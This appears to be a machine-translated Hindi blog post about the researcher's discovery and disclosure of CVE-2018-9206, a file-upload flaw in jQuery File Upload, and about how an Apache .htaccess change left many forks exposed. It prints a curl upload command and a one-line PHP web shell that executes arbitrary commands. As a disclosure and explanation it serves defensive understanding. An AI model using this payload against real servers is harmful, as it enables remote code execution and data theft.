🚖 👩🏾‍🎨 🤞🏾 सुरक्षा आपको छोड़कर 💳 🍦 😊

मैंने न्यू यॉर्क के ब्रुकलिन में मैसेजिंग, मालवेयर और मोबाइल एंटी-एब्यूज़ वर्किंग ग्रुप (m3aawg.org) की एक बैठक में भाग लिया। मैं शहर के चारों ओर घूमने, सम्मेलन का आनंद लेने और क्षेत्र में भोजन की एक विस्तृत चयन के लिए बेहतर मौसम की उम्मीद कर रहा था। मैं आकाश की स्पष्टता के बारे में इतना निश्चित था कि मैंने अपने साथ हुई बारिश से भी कुछ नहीं लिया। और पूरे हफ्ते बारिश हुई। इसने मुझे मुफ्त वाईफाई और मेरे काम के लैपटॉप के साथ अपने होटल के कमरे में रहने के लिए मजबूर किया। मैंने यह समय Node.js और उनके संबंधित पैकेजों पर शोध करने के लिए https://www.npmjs.com पर उपलब्ध खर्च करने का निर्णय लिया।

आपकी परियोजना में डाउनलोड और स्थापना के लिए उपलब्ध उपयोगकर्ताओं के हजारों पैकेज हैं। मैंने फाइल, बैकअप, डाउनलोड या अपलोड जैसे लोकप्रिय पैकेज नामों के लिए एनपीएम में खोज की। आखिरी खोज ने मुझे एक परियोजना दिखाई, जिसे ब्लिंप से jQuery फ़ाइल अपलोड कहा गया। उनका वर्णन इसे डाउनलोड करने और जानने के लिए काफी रोचक लगा।

कई फ़ाइल चयन, ड्रैग एंड ड्रॉप, प्रगति संकेतक, सत्यापन और छवियों, ऑडियो और वीडियो के पूर्वावलोकन के लिए समर्थन के साथ, jQuery के लिए फ़ाइल अपलोड विजेट। यह क्रॉस-डोमेन अनुरोधों का समर्थन करता है, क्लाइंट पक्ष पर छवियों का आकार बदलने के साथ एक आंशिक और नवीकरणीय फ़ाइल अपलोड तंत्र। यह किसी भी सर्वर प्लेटफ़ॉर्म (PHP, Python, Ruby on Rails, Java, Node.js, Go, आदि) में काम करता है, जो HTML फॉर्म के माध्यम से मानक फ़ाइल अपलोड का समर्थन करता है।

मैंने पैकेज के स्रोत को देखना शुरू कर दिया और सर्वर / php निर्देशिका में PHP फ़ाइलों के एक जोड़े पर ध्यान केंद्रित किया। फ़ाइलों को upload.php और UploadHandler.php कहा जाता था। upload.php को UploadHandler.php कहा जाता है, जहां मुख्य फाइल अपलोड कोड स्थित था। मैंने यह भी देखा कि वेब सर्वर के रूट में फाइलें / निर्देशिका में फाइल अपलोड की गई थीं। मैंने कर्ल और एक आदिम PHP स्क्रिप्ट के साथ एक साधारण कमांड लिखी, जिसने मुझे पुष्टि की कि मैं फ़ाइल को सर्वर पर अपलोड कर सकता हूं और फिर इसका उपयोग सर्वर पर कमांड निष्पादित करने के लिए कर सकता हूं।

$ curl -F "files=@shell.php" http://example.com/jQuery-File-Upload-9.22.0/server/php/index.php

जहाँ shell.php फ़ाइल होती है:

 <?php $cmd=$_GET['cmd']; system($cmd);?>

परीक्षण सर्वर से पैरामीटर cmd = आईडी के साथ ब्राउज़र में एक पृष्ठ खोलना उस उपयोगकर्ता की आईडी लौटा देता है जिससे सर्वर प्रक्रिया शुरू की गई थी। मैंने यह माना कि यह भेद्यता पर किसी का ध्यान नहीं गया और एक त्वरित Google खोज ने मुझे पुष्टि की कि इस कोड या इसके व्युत्पन्न का उपयोग करने वाली अन्य परियोजनाएं असुरक्षित थीं। कई वीडियो भी दिखाए गए कि कैसे समान सॉफ्टवेयर पैकेजों पर हमला किया जाए।

मैंने jQuery फ़ाइल अपलोड के लेखक को सूचित किया और सीवीई नंबर असाइन करने के लिए मुझे जो कुछ भी मिला, उसे दर्ज करना शुरू किया। जल्द ही अगले दिन, कुछ हद तक शर्मिंदा लेखक ने मुझे जवाब दिया, और अधिक जानकारी के लिए पूछ रहा था, क्योंकि वह अपने परीक्षण वातावरण में भेद्यता को पुन: पेश नहीं कर सका।

ईमेल द्वारा हमारे परीक्षण कॉन्फ़िगरेशन की तुलना करने के बाद, हमने पाया कि अपाचे डेवलपर्स ने 2.3.9 संस्करण के बाद से .htaccess फ़ाइलों के लिए समर्थन बंद कर दिया था। यह पता चला है कि यह प्रदर्शन में सुधार करने के लिए किया गया था, ताकि सर्वर को इस फ़ाइल को हर बार जांचने की ज़रूरत न हो, ताकि वह संबंधित निर्देशिका तक पहुंच सके। इसके अलावा, यह परिवर्तन उपयोगकर्ताओं को सर्वर पर कॉन्फ़िगर की गई सुरक्षा सेटिंग्स को ओवरराइड करने से रोकने के लिए भी किया गया था।

इस प्रकार, अपाचे को अक्षम करने पर अपाचे के अच्छे इरादे थे, लेकिन उनके परिवर्तनों ने कुछ डेवलपर्स और उनकी परियोजनाओं को भी खतरे में डाल दिया, विशेष रूप से अगर वे .htaccess में बनाई गई सुरक्षा सेटिंग्स पर भरोसा कर रहे थे।

इस लाइब्रेरी के मामले में, इस स्थिति को ठीक से संभालने और CVE-2018-9206 फ़ाइल अपलोड भेद्यता को ठीक करने के लिए, डेवलपर ने कोड को बदल दिया ताकि उसे केवल छवि फ़ाइलों को डाउनलोड करने की अनुमति मिले।

यह समस्या एक से अधिक प्रोजेक्ट की है।

यहां यह भी ध्यान देने योग्य है कि अपाचे में बदलाव के कारण, 7,800 शेष परियोजनाओं में से कुछ अपलोड समस्याएं दर्ज करने के लिए असुरक्षित हो सकती हैं।

इनमें से अधिकांश कांटे अभी भी अपने कोड में मूल भेद्यता रखते हैं। कुछ मामलों में, डेवलपर द्वारा अपनी परियोजना में एम्बेड करने के लिए डेवलपर द्वारा मूल कोड को ब्लिंप से संपादित करने के बाद भी भेद्यता बनी रहती है, ताकि परियोजनाएं अभी भी मामूली बदलाव के साथ मेरे हमले के उदाहरण के लिए असुरक्षित हैं।

इसका मतलब यह है कि अगर इनमें से किसी भी परियोजना का उपयोग उत्पादन में किया जाता है, तो यह एक फ़ाइल को इसके बाद के निष्पादन के साथ डाउनलोड करने की भेद्यता के संपर्क में है। एप्लिकेशन से डेटा चोरी करने, मैलवेयर, दोष और अन्य अवसरों को नुकसान पहुंचाने के अवसरों को खोलना।

दुर्भाग्य से, यह निर्धारित करने का कोई तरीका नहीं है कि मूल jQuery फ़ाइल अपलोड से कितने प्रोजेक्ट्स अभी भी सक्रिय रूप से समर्थित हैं और मुख्य प्रोजेक्ट में किए गए परिवर्तनों को लागू करते हैं। यह निर्धारित करना भी संभव नहीं है कि उत्पादन में उपयोग की जाने वाली कांटे वाली परियोजनाएं यदि कोई हो तो। इसके अलावा, परियोजना के पुराने संस्करण भी 2010 तक फ़ाइलों को डाउनलोड करने के साथ समस्याओं की चपेट में थे।

निष्कर्ष

इंटरनेट हमारे सिस्टम, डेटा और लेनदेन को सुरक्षित और सुरक्षित रखने के लिए कई सुरक्षा तंत्रों पर निर्भर करता है। यदि इनमें से एक तंत्र अचानक गायब हो जाता है, तो यह उपयोगकर्ताओं और डेवलपर्स की सुरक्षा पर निर्भर हो सकता है।

डेवलपर्स के लिए यह एक अच्छा विचार है कि वे सिस्टम और पुस्तकालयों में परिवर्तन को देखें, जिस पर वे अपनी परियोजना को आधार बनाते हैं। इस लेख में, अपाचे को हटाए जाने वाले सुरक्षा तंत्र ने न केवल ब्लिंप के जेक्वेरी फ़ाइल अपलोड को प्रभावित किया, बल्कि इसके सभी कांटे और शाखाएं। भेद्यता ने कई परियोजनाओं को प्रभावित किया जो उस पर निर्भर हैं, स्टैंड-अलोन वेब एप्लिकेशन से लेकर वर्डप्रेस और अन्य सीएमएस के प्लगइन्स तक।

सुरक्षा आपको छोड़कर

यह समस्या एक से अधिक प्रोजेक्ट की है।

निष्कर्ष

More articles: